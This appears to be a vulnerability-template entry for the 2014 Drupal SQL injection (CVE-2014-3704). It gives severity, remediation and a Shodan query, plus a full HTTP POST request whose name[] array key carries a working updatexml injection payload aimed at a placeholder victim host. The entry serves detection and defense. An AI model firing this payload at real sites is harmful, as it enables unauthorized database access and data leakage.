| Title | Drupal SQL Injection |
|---|---|
| Author | princechaddha |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Drupal application and its underlying database. |
| Remediation | Upgrade to Drupal core 7.32 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94366 |
| CVE ID | CVE-2014-3704 |
| CWE ID | CWE-89 |
| Shodan Query | http.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal" |
| Tags | cve2014 cve edb drupal sqli vkev vuln |
The expandArguments function in the database abstraction API in Drupal core 7.x before 7.32 does not properly construct prepared statements, which allows remote attackers to conduct SQL injection attacks via an array containing specially crafted keys.
POST /?q=node&destination=node HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 124
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,md5(3603)),1)%23]=bob&name[0]=a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3704.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-3704.pcap
N/AN/A